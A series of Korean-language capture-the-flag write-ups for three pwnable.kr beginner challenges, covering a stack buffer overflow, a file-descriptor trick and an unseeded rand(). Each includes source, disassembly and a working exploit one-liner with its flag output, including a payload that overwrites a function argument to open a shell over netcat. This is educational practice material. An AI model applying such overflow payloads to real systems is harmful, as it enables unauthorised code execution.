Pwnable.kr Write-Up | By RevDev

Toddler’s Bottle - bof [1pt]


1. Ready to Solve
Problem
Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000


Used Tools
GNU bash (version 4.3.11)
GNU gdb  (version 7.4-2012.02 / with peda)



2. Gathering Informations
Source Code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}


Disassembled Code - main()
Dump of assembler code for function main:
0x0000068a <+0>:    push   ebp
0x0000068b <+1>:    mov    ebp,esp
0x0000068d <+3>:    and    esp,0xfffffff0
0x00000690 <+6>:    sub    esp,0x10
0x00000693 <+9>:    mov    DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>:    call   0x62c <func>
0x0000069f <+21>:    mov    eax,0x0
0x000006a4 <+26>:    leave  
0x000006a5 <+27>:    ret


Disassembled Code - func()
0x0000062c <+0>:    push   ebp
0x0000062d <+1>:    mov    ebp,esp
0x0000062f <+3>:    sub    esp,0x48
0x00000632 <+6>:    mov    eax,gs:0x14
0x00000638 <+12>:    mov    DWORD PTR [ebp-0xc],eax
0x0000063b <+15>:    xor    eax,eax
0x0000063d <+17>:    mov    DWORD PTR [esp],0x78c
0x00000644 <+24>:    call   0x645 <func+25>
0x00000649 <+29>:    lea    eax,[ebp-0x2c]
0x0000064c <+32>:    mov    DWORD PTR [esp],eax
0x0000064f <+35>:    call   0x650 <func+36>
0x00000654 <+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>:    jne    0x66b <func+63>
0x0000065d <+49>:    mov    DWORD PTR [esp],0x79b
0x00000664 <+56>:    call   0x665 <func+57>
0x00000669 <+61>:    jmp    0x677 <func+75>
0x0000066b <+63>:    mov    DWORD PTR [esp],0x7a3
0x00000672 <+70>:    call   0x673 <func+71>
0x00000677 <+75>:    mov    eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>:    xor    eax,DWORD PTR gs:0x14
0x00000681 <+85>:    je     0x688 <func+92>
0x00000683 <+87>:    call   0x684 <func+88>
0x00000688 <+92>:    leave  
0x00000689 <+93>:    ret



3. Solve

문제 이름에서부터 알 수 있듯이 가장 기초적인 스택 버퍼 오버플로우 문제이다. func() 함수의 인자로 주어진 0xdeadbeef0xcafebabe로 바꾸면 쉘을 실행시켜주는 구조이다.

가장 먼저 취약점이 있을만한 부분을 살펴보도록하자. 일단은 변조해야 하는 값이 func()의 인자이므로, func() 내부에서 취약점을 찾아보면, gets()가 눈에 보인다. 32Byte 크기의 char[]형 변수에 값을 입력 받는다.

그 다음으로 할 것은 gets()가 실제 어셈블리 코드 상에서 어디에 존재하는지 알아내는 것이다. gets()함수의 위치를 알면, 입력을 받는 변수인 overflowme의 스택상 정확한 위치도 알 수 있다.
본인의 경우 한번에 gets()를 찾아낼 수 있었다. 그 위치는 다음과 같다.

0x00000649 <+29>:    lea    eax,[ebp-0x2c]
0x0000064c <+32>:    mov    DWORD PTR [esp],eax
0x0000064f <+35>:    call   0x650 <func+36>

이렇게 overflowmeebp-0x2c에 존재한다는 것을 알게 되었다.
자, 이제 오버플로우 공격의 시행착오를 줄이기 위해 공격에 앞서 스택 구조를 구성해보자.
overflowmeebp-0x2c, 즉, SFP가 존재하는 주소로 부터 44Byte 떨어져 있다는 것을 알 수 있으니 대략적인 구조를 다음과 같이 예측할 수 있다.

+--------------+-------+-------+--------------+
|     ebp+8    | ebp+4 |  ebp  |    ebp-44    |
+--------------+-------+-------+--------------+
|  0xdeadbeef  |  RET  |  SFP  |  overflowme  |
+--------------+-------+-------+--------------+

자, 이제 공격코드를 뽑아낼 수 있다.
overflowme의 시작점이 SFP에서 44Byte를 뺀 곳에 있고, 0xdeadbeef의 시작점은 SFP에서 8바이트를 더한 곳에 있다. 따라서 우리는 (44+8)Byte, 즉, 52Byte의 Dummy를 넣어주고, 0xcafebabe를 Little Endian을 고려하여 넣어주면 될 듯 하다.

그럼 최종 공격코드는 어떻게 될까?

(python -c 'print "\x90"*52+"\xbe\xba\xfe\xca"';cat)|./bof

혹시 이렇게 썼다면 훌륭하지만서도 가장 중요한 것을 잊고 있다.
Dummy를 NOP으로 채운 것도, 표준 입출력에 값을 넣는 방법도, Little Endian도 확실히 알고 있다는 것이지만, 이번 문제는 netcat을 이용해 서버로 값을 넘겨주어야 하는 문제이다.

정말 마지막으로, 어떻게 하면 값을 넘겨줄 수 있을지 직접 접속해보도록 하자.
문제에서 주어진 nc pwnable.kr 9000를 통해 서버에 접속하면, 바로 우리가 분석했던 bof파일이 실행되면서 값을 입력 받는다.

revdev@revdev-pc:~$ nc pwnable.kr 9000
overflow me :

자, 이제 우리는 공격코드를 완성할 수 있게 되었다. 이렇게하여 최종적으로 완성된 공격코드는 다음과 같다.
(python -c 'print "\x90"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000


4. Flag
revdev@revdev-pc:~$ (python -c 'print "\x90"*52+"\xbe\xba\xfe\xca"';cat)|nc pwnable.kr 9000
ls
bof
bof.c
flag
log
super.pl
cat flag
daddy, I just pwned a buFFer :)
Posted by RevDev
,

Pwnable.kr Write-Up | By RevDev

Toddler’s Bottle - fd [1pt]


1. Ready to Solve
Problem
Mommy! what is a file descriptor in Linux?
ssh fd@pwnable.kr -p2222 (pw:guest)


Used Tools
GNU bash (version 4.3.11)



2. Gathering Informations
File List
fd@ubuntu:~$ ls -al
total 32
drwxr-x---  4 root fd   4096 Aug 20  2014 .
dr-xr-xr-x 44 root root 4096 Jul  5 07:52 ..
d---------  2 root root 4096 Jun 12  2014 .bash_history
-r-sr-x---  1 fd2  fd   7322 Jun 11  2014 fd
-rw-r--r--  1 root root  418 Jun 11  2014 fd.c
-r--r-----  1 fd2  root   50 Jun 11  2014 flag
dr-xr-xr-x  2 root root 4096 Aug 20  2014 .irssi


Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}



3. Solve

이 문제는 리눅스 파일 디스크립터(File Descriptor)에 대한 기본 지식이 있는가를 묻는, 아주 간단한 문제이다.

int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf))

이 부분을 살펴보도록 하자.
가장 먼저, argv[1]의 값에서 0x1234를 뺀 뒤, 그 값을 File Descriptor 역할을 할 int형 변수 fd에 저장하게 된다.
그 뒤, len = read(fd, buf, 32);에서 fd를 통해 총 32Byte의 글자를 buf 변수로 가져오고 나서 if(!strcmp("LETMEWIN\n", buf))를 통해 buf안에 들어있는 문자열이 "LETMEWIN\n"일 경우에만 문제를 풀기위한 조건이 충족된다. 자, 그러면 어떻게 "LETMEWIN\n"을 입력할 수 있을까.

여기서 한 가지 생각이 들었다. File Descriptor에는 표준 번호라는 것이 있다. 어떠한 프로세스에서도 미리 예약된 번호인데, 이를 통해서 입력을 받을 수 있다. 표준 번호들은 다음과 같은 것들이 있다.

1 : Standard Output (stdout)
2 : Standard Error (stderr)


이제 문제를 풀게 위한 모든 것이 갖추어졌다. 0x1234argv[1]에 넣어준 뒤, LETMEWIN을 입력하면 된다. 다음과 같이 입력하면 Auth Key가 나온다.

(python -c 'print "LETMEWIN"';cat)|./fd `python -c 'print(0x1234)'`



4. Flag
fd@ubuntu:~$ (python -c 'print "LETMEWIN"';cat)|./fd `python -c 'print(0x1234)'`
good job :)
mommy! I think I know what a file descriptor is!!
Posted by RevDev
,

Pwnable.kr Write-Up | By RevDev

Toddler’s Bottle - random [1pt]


1. Ready to Solve
Problem
Daddy, teach me how to use random value in programming!
ssh random@pwnable.kr -p2222 (pw:guest)


Used Tools
GNU bash (version 4.3.11)



2. Gathering Informations
File List
random@ubuntu:~$ ls -al
total 36
drwxr-x---  4 root    random 4096 Aug 20  2014 .
dr-xr-xr-x 44 root    root   4096 Jul  5 07:52 ..
d---------  2 root    root   4096 Jun 30  2014 .bash_history
-r--r-----  1 random2 root     49 Jun 30  2014 flag
dr-xr-xr-x  2 root    root   4096 Aug 20  2014 .irssi
-r-sr-x---  1 random2 random 8538 Jun 30  2014 random
-rw-r--r--  1 root    root    301 Jun 30  2014 random.c


Source Code
#include <stdio.h>

int main(){
    unsigned int random;
    random = rand();    // random value!

    unsigned int key=0;
    scanf("%d", &key);

    if( (key ^ random) == 0xdeadbeef ){
        printf("Good!\n");
        system("/bin/cat flag");
        return 0;
    }

    printf("Wrong, maybe you should try 2^32 cases.\n");
    return 0;
}


Disassembled Code
Dump of assembler code for function main:
0x00000000004005f4 <+0>:    push   rbp
0x00000000004005f5 <+1>:    mov    rbp,rsp
0x00000000004005f8 <+4>:    sub    rsp,0x10
0x00000000004005fc <+8>:    mov    eax,0x0
0x0000000000400601 <+13>:    call   0x400500 <rand@plt>
0x0000000000400606 <+18>:    mov    DWORD PTR [rbp-0x4],eax
0x0000000000400609 <+21>:    mov    DWORD PTR [rbp-0x8],0x0
0x0000000000400610 <+28>:    mov    eax,0x400760
0x0000000000400615 <+33>:    lea    rdx,[rbp-0x8]
0x0000000000400619 <+37>:    mov    rsi,rdx
0x000000000040061c <+40>:    mov    rdi,rax
0x000000000040061f <+43>:    mov    eax,0x0
0x0000000000400624 <+48>:    call   0x4004f0 <__isoc99_scanf@plt>
0x0000000000400629 <+53>:    mov    eax,DWORD PTR [rbp-0x8]
0x000000000040062c <+56>:    xor    eax,DWORD PTR [rbp-0x4]
0x000000000040062f <+59>:    cmp    eax,0xdeadbeef
0x0000000000400634 <+64>:    jne    0x400656 <main+98>
0x0000000000400636 <+66>:    mov    edi,0x400763
0x000000000040063b <+71>:    call   0x4004c0 <puts@plt>
0x0000000000400640 <+76>:    mov    edi,0x400769
0x0000000000400645 <+81>:    mov    eax,0x0
0x000000000040064a <+86>:    call   0x4004d0 <system@plt>
0x000000000040064f <+91>:    mov    eax,0x0
0x0000000000400654 <+96>:    jmp    0x400665 <main+113>
0x0000000000400656 <+98>:    mov    edi,0x400778
0x000000000040065b <+103>:    call   0x4004c0 <puts@plt>
0x0000000000400660 <+108>:    mov    eax,0x0
0x0000000000400665 <+113>:    leave  
0x0000000000400666 <+114>:    ret    
End of assembler dump.



3. Solve

이 문제는 특정 변수의 값을 입력을 통해 0xdeadbeef로 설정하는 문제이다.
그러나 여기서는 입력 값에 rand()함수로 만들어진 난수와 XOR연산을 실행하여 해커가 원하는 대로 변수를 조작할 수 없게 만들었다. 그러나 분명히 어디엔가 취약점은 존재한다. 그것을 찾아보자.

가장 먼저 나는 소스 코드에서 random = rand();에 주목하였다.
대게 랜덤 함수는 srand(), 즉, 랜덤 시드 설정 함수와 같이 쓰이는데 위의 코드에서는 랜덤 함수만 쓰이고 있다.
혹시 저 rand() 함수 내부에 다른 점이 있을까 하여 나는 rand()를 따라가 보았다.

Dump of assembler code for function rand@plt:
0x0000000000400500 <+0>:    jmp    QWORD PTR [rip+0x200b1a]        
    # 0x601020 <rand@got.plt>
0x0000000000400506 <+6>:    push   0x4
0x000000000040050b <+11>:    jmp    0x4004b0
End of assembler dump.

하지만 일반적인 libc함수였을 뿐, 따로 시드를 생성하는 부분은 보이지 않았다.
따라서, 본인은 시드 변경을 하지 않는 랜덤 함수는 같은 값만을 생성해낸다는 것에 주목하였다.
다음 부분에 집중해보자.

0x0000000000400601 <+13>:    call   0x400500 <rand@plt>
0x0000000000400606 <+18>:    mov    DWORD PTR [rbp-0x4],eax
0x0000000000400609 <+21>:    mov    DWORD PTR [rbp-0x8],0x0
0x0000000000400610 <+28>:    mov    eax,0x400760
0x0000000000400615 <+33>:    lea    rdx,[rbp-0x8]
0x0000000000400619 <+37>:    mov    rsi,rdx
0x000000000040061c <+40>:    mov    rdi,rax
0x000000000040061f <+43>:    mov    eax,0x0
0x0000000000400624 <+48>:    call   0x4004f0 <__isoc99_scanf@plt>
0x0000000000400629 <+53>:    mov    eax,DWORD PTR [rbp-0x8]
0x000000000040062c <+56>:    xor    eax,DWORD PTR [rbp-0x4]
0x000000000040062f <+59>:    cmp    eax,0xdeadbeef
0x0000000000400634 <+64>:    jne    0x400656 <main+98>

여기서 살펴볼 부분은 <+18>, <+21>, <+33>, <+53>, <+56>, <+59>이다.

가장 먼저 <+18><+21>을 묶어 함께 보자.
여기서 rbp-0x4에 rand()의 결과 값을 넣고, rbp-0x8을 0으로 초기화하고 있다.

그 다음으로는 <+33>을 보면 rbp-0x8에는 scanf()의 입력 값이 들어간다는 것을 유추할 수 있다.

마지막으로 <+53>, <+56>, 그리고 <+59>를 한꺼번에 살펴보자.
<+53>에서 eax에 rbp-0x8에서 입력 값을 올리면서 연산 준비를 하고, <+56>에서 rand()의 결과 값인 rbp-0x4와 XOR연산을 수행하게 된다.
그리고 최종적으로 해당 값이 0xdeadbeef와 동일한지 확인하게 된다.

이제 모든 루틴의 분석이 끝났다. 만일 rand()의 결과 값이 일정하다는 것만 증명되면 우리는 XOR연산의 대칭성으로부터 무슨 입력을 넣어야 변수를 0xdeadbeef로 변조할 수 있는지 알 수 있다. GDB를 통해 계속해 분석해보자.

b *main+53으로 scanf()함수의 실행 직후부터 분석하자. 우리가 필요한 부분은 그곳 뿐이다.
해당 브레이크 포인트에서 멈춘 직후의 rbp-0x4이다.

(gdb) x/xw $rbp-4
0x7fff2132edec:    0x6b8b4567

우리는 rand()의 결과 값이 고정되어 있다면 그 값이 0x6b8b4567임을 알 수 있다. 이제 rand()의 결과 값이 일정한지만 살펴보면 된다.
GDB를 다시 처음부터 진행하여 해당 브레이크 포인트에서의 rbp-0x4에 들어 있는 값이 0x6b8b4567라면 모든게 끝난거다.

(gdb) x/xw $rbp-4
0x7fff6fa06d3c:    0x6b8b4567

빙고.
예상대로 rand()의 수행 결과 값은 고정되어 있었다.
현재까지 알아낸 점을 정리해 보자.

1) 랜덤 시드가 바뀌지 않는다.
2) rand() 결과 값이 고정되어 있다.
3) 그 결과 값은 0x6b8b4567이다.


이제 프로그래머 계산기를 꺼내서 16진수 계산을 하자.
0x6b8b4567 ^ 0xdeadbeef는? 0xb526fb88이다.
좋다. 마지막 단계가 남아있다. 이 값을 어떻게 넣을 것인가.
간단하다. 분명 scanf()로 입력받는다. 그럼 스크립트 언어를 이용해 입력 버퍼에 16진수 값을 넣어주면 되는 것 뿐이다. 마침내 공격코드가 나왔다. 다음과 같다.

(python -c 'print(0xb526fb88)';cat)|./random

이렇게 공격코드를 쏴주면 flag에 저장된 Auth Key가 나온다.


4. Flag
random@ubuntu:~$ (python -c 'print(0xb526fb88)';cat)|./random
Good!
Mommy, I thought libc random is unpredictable...
Posted by RevDev
,